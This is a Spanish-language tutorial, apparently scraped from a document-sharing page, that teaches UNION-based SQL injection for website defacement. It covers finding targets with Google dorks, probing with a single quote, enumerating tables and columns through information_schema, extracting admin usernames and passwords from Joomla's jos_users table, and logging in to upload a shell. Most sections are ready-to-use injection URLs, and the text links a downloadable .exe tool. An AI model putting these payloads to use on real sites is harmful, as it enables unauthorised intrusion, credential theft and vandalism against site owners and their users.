You are on page 1of 8

| 0x001. ¿Que es SQL Injection?

|
| |
| 0x002. Buscando webs vulnerables |
| |
| 0x002.1. Como saber si es vulnerable? |
| |
| 0x003. Sacando el numero de campos |
| |
| 0x004. Sacando las tablas |
| |
| 0x005. Sacando las columnas |
| |
| 0x006. Consiguiendo los datos |
| |
| 0x007. Logueandonos |
| |
|
| |
0===============================================================================
====================================0

1. ¿Que es SQL Injection?

Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las en


tradas a la base de datos de una
aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las
partes del programa con código SQL.
Es, de hecho, un error de una clase más general de vulnerabilidades que puede ocur
rir en cualquier lenguaje de progra-
mación o de script que esté incrustado dentro de otro.
Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentr
o de otro código SQL para alterar
su funcionamiento normal, y hacer que se ejecute maliciosamente el código "invasor
" en la base de datos.
La inyección SQL es un problema de seguridad informática que debe ser tomado en cuen
ta por el programador para prevenir-
lo. Un programa hecho con descuido, displicencia, o con ignorancia sobre el prob
lema, podrá ser vulnerable y la seguridad
del sistema puede quedar ciertamente comprometida. Esto puede suceder tanto en p
rogramas ejecutándose en computadores
de escritorio, como en páginas Web, ya que éstas pueden funcionar mediante programas
ejecutándose en el servidor que las
aloja.
La vulnerabilidad puede ocurrir cuando un programa "arma" descuidadamente una se
ntencia SQL, con parámetros dados por
el usuario, para luego hacer una consulta a una base de datos. Dentro de los parám
etros dados por el usuario podría venir
el código SQL inyectado.
Al ejecutarse esa consulta por la base de datos, el código SQL inyectado también se
ejecutará y podría hacer un sinnúmero
de cosas, como insertar registros, modificar o eliminar datos, autorizar accesos
e, incluso, ejecutar código malicioso
en el computador.

···························································································

2. Buscando webs vulnerables

Podemos fijar un objectivo a atacar y comprobar si es vulnerable (en este caso p


asar a 2.1), o podemos buscar webs al azar
mediante Google Dorks.
¿Que es un Google Dork? Pues la definicion de dork seria una "busqueda exacta". Go
ogle contiene unos "comandos" con los que
podemos realizar busquedas a nuestro gusto, como hacer una busqueda de paginas v
ulnerables a SQL Injection.
Una web que posiblemente fuera vulnerable seria:
< www.miweb.com/noticias.php?id=13 >
Esto quiere decir, que la estructura seria asi:
< www.pagina.com/script.php?variable=valor_numerico >
Por lo que podemos hacer infinidad de busquedas:
*
o===============================o
* * | | * *
* | inurl:noticias.php?id= | *
| inurl:novedades.php?id_not= | ( Lo que se nos ocurra )
* | inurl:news.php?article= |
| ... |
* * | | * * *
* o===============================o

···························································································

2.1. Como saber si es vulnerable?

Pues hay varias formas para saber si nuestra web es vulnerable o no. La que yo u
so es la mas corta y simple. Voy a poner una
url de ejemplo, con la que trataremos todo el manual:
www.miweb.com/script.php?id=13

Bien, ahora comprobaremos si es vulnerable. Para ello borramos el valor de la va


riable id, es decir, los numeros (en este
caso 13). A continuacion, ponemos una comilla simple ('). Resumiendo, reemplazam
os 13 por una comilla simple:

www.miweb.com/script.php?id='

Bien, si es vulnerable, apareceria un error SQL, si no lo es, no apareceria (log


icamente.. xD). Si no aparece la dejamos y
buscamos otra. ¿A que me refiero con un error SQL? Pues un error del tipo:
###############################
# # ###########################################################################
# You have a SQL error syntax # # #
# # # Warning: mysql_fetch_array(): supplied argument is not a valid MySQL... #
############################### # #
###########################################################################
En fin..
que ponga algo de "SQL", "mysql", etc...

···························································································

3. Sacando el numero de campos

Bueno, esto es sencillo, quizas lo mas sencillo de la inyeccion. Ahora empezarem


os a modificar la direccion de la web hasta
que aparezcan los datos de acceso a la Administracion de la web.
El primer paso es ese, sacar el numero de campos. Para ello insertamos la inyecc
ion principal: -1+union+all+select+0

www.miweb.com/script.php?id=-1+union+all+select+0--

La inyeccion principal depende de cada uno, hay gente que en vez de poner -1+uni
on+all+select+0 pone -1+union+select o
-1 union select (con espacios), etc... pero yo pongo la que yo uso.
Os preguntareis que si dije -1+union+all+select+0 porque narices pongo -1+union+
all+select+0-- !
Pues porque una inyeccion siempre se debe de acabar con -- (repito que otra gent
e puede hacerlo con otros caracteres, pero yo
explico segun mi metodo =D ).
Y ahora que? Pues tendremos que ir añadiendo numeros hasta que el error SQL desapa
rezca, y ademas, en vez del error,
aparezcan una serie de numeros sueltos.
Cada numero es un campo. Supongamos que a mi me salieron 6 campos y me desaparec
io el error:

www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,4,5,6--

Pues en toda la inyeccion ya no añadire mas campos, ese es el correcto, en ese me


quedo =)

···························································································

4. Sacando las tablas

OK, si no entendisteis hasta aqui, leedlo otra vez. Si aun asi no entendeis, dej
ad el defacing.. xD
Bueno, ahora hay dos formas.
1- Adivinar el nombre de la tabla
2- Si no damos, buscarlo.

Una tabla, es lo que contiene los datos interesantes: usernames, passwords, mail
s, etc. Por suerte, cuando nos equivocamos
en una inyeccion siempre lo sabremos ya que vuelve el error.
Probemos adivinando, el nombre de la tabla sera algo como:

o==============o
| |
| usuarios |
| users |
...cosas de | username | este estilo...
| admin |
| login |
| ... |
| |
o==============o
Vamos probando con FROM:
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,4,5,6+from+users--

Pero a veces, puede ser una cosa muy enredada y varia dependiendo de la web. Si
no la damos adivinado, vamos de la siguiente
forma. Usaremos information_schema.tables . Esto contiene el nombre de todas las
tablas de la DB. A veces, esto no esta
disponible y tenemos que hacer una "Inyeccion SQL a ciegas", es decir, con el me
todo de adivinar (xD).

Te acuerdas que cuando llegamos al numero de campos correctos, aparecieron unos


numeros? Bueno, supongamos que a mi me
salieron estos tres: 1, 4 y 5. Tenemos que elegir uno, da igual, el que querais.
Normalmente se elige el que mejor se vea,
porque mas adelante, iremos mostrando cosas donde se encuentran esos numeros. Yo
eligire el 4.
Ahora pondremos como nombre de tabla, information_schema.tables, y reemplazaremo
s el numero elegido por:
group_concat(table_name). De modo que quedaria asi:

www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,group_concat(table_name)
,5,6+from+information_schema.tables--

Si information_schema.tables esta disponible, nos dara una lista de nombres de t


ablas. Muchas veces no aparecen todas, asi
que miramos si hay una tabla sugerente que tenga algo de: admin, usuarios, etc.
y si no aparece iremos con el siguiente
metodo.
group_concat sirve para unir grupos. Unimos table_names, es decir, nombres de ta
blas.
Ahora como queremos mirar el resto de tablas, cambiaremos group_concat(table_nam
e) por solamente table_name:

www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,table_name,5,6+from+info
rmation_schema.tables--

Ahora en el lugar donde aparecio el cuatro veremos escrito: CHARACTER_SETS, que


siempre es la primera tabla.
Para ir viendo el resto de tablas, usaremos limit:

www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,table_name,5,6+from+info
rmation_schema.tables+limit+1,1--

Si queremos ver la siguiente tabla, en el limit vamos subiendo numeros: limit+2,


1, limit+3,1, limit+4,1..

Normalmente, hasta el numero 16 las tablas siempre son iguales, entonces podemos
saltar:
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,table_name,5,6+from+info
rmation_schema.tables+limit+17,1--

Bueno, supongamos que al fin encontre la tabla jos_users (utilizada en Joomla).

Vamos atras en el tiempo (en el tutorial) y ponemos:

www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,4,5,6+from+jos_users--

···························································································

5. Sacando las columnas

Bien, ya tenemos la tabla. Ahora dentro de cada una, hay columnas. Nosotros busc
amos columnas como:
password, passwd, nick, user, nombre, name, username, admin, login, pass, clave,
etc.
Es decir, los datos de acceso a la Administracion.
Tambien hay los dos mismos metodos, a ciegas, probando.. o con information_schem
a.columns.
Podemos probar:
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,nombre,5,6+from+jos_user
s--

Y si existe la columna nombre aparecera el nombre del usuario del administrador,


si no, volvera el error. Como tampoco lo
damos adivinado, iremos con el segundo metodo.
Esta vez, sacaremos justo las columnas que contiene jos_users. Para ello, debemo
s pasar la string "jos_users" a ASCII.
Podemos usar herramientas como Convert ASCII, que es la que uso yo. Te la puedes
bajar aqui:

http://xassiz.mi-website.es/Conversor_Ascii.exe

Bueno, jos_users pasada a ASCII es: 106,111,115,95,117,115,101,114,115. Ahora po


ndre un esquema de la inyeccion:

...2,3,group_concat(column_name),5,6+from+information_schema.columns+where+table
_name=char(tabla_en_ascii)--
Si sabeis ingles es facil de entender xD
Entonces a mi me quedaria asi:

..3,group_concat(column_name),5,6+from+information_schema.columns+where+table_na
me=char(106,111,115,95,117,115,101,114,115)--

Y se supone que mostraria las columnas de la tabla. Ahora que ya sabemos las col
umnas y la tabla, solo tenemos que mostrar
los datos por pantalla.

···························································································

6. Consiguiendo los datos

Suponiendo que las columnas interesantes sean user_name y password:

www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,concat(user_name,0x3a3a,
password),5,6+from+jos_users--

Como vimos antes, group_concat sirve para unir grupos, pues concat sirve para un
ir simplemente. Unimos user_name con
password para mostrarlos juntos. Te preguntaras que es 0x3a3a, pues en hexadecim
al es :: (2 dos puntos) que utilizamos para
separar el usuario de la contraseña.
Tambien podriamos hacer primero:

www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,user_name,5,6+from+jos_u
sers--

Apuntar el usuario y despues:

www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,password,5,6+from+jos_us
ers--

Para coger la contraseña, pero es mas comodo mostrar todo junto digo yo.. xD

Imaginemos que al poner


www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,concat(user_name,0x3a3a,
password),5,6+from+jos_users--
me aparece:
admin::13243546
Pues ya tenemos los datos de acceso:
User: admin
Pass: 13243546

Ahora solo tenemos que loguearnos y modificar a nuestro gusto, subir shell o lo
que queramos.

···························································································

7. Logueandonos

Pero donde nos logueamos? Pues en el panel de administracion. ¿Y donde esta? Pues
tambien depende de la pagina, puede
ser:
--------------------------------------------------------------------------------
------------------------------------
www.miweb.com/admin.php
www.miweb.com/administracion/
www.miweb.com/login.php
www.miweb.com/panel.php
--------------------------------------------------------------------------------
------------------------------------

Eso lo tenemos que encontrar nosotros, adivinando, usando un scanner de director


ios, una tool php, etc.

···························································································

You might also like